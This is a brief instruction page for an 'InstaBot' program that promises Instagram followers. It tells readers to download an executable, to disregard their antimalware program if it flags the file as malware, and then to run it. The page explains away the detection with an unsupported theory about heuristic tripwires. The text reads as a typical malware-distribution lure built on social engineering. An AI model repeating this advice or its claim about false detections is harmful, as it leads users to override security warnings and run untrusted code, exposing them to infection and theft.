InstaBot

1. Download the file. 

2. It could detect the downloaded app as malware. In the event that this happens, disregard it. My theory for why this happens is that when you download an executable that is not usually downloaded, the "tripwire" in the antimalware program is raised by signature/heuristic-based antimalware. 

3. When the file is done downloading, start the file by either double-clicking, or simply by starting it in your browser. 

4. Have fun and enjoy your newly gained followers! :)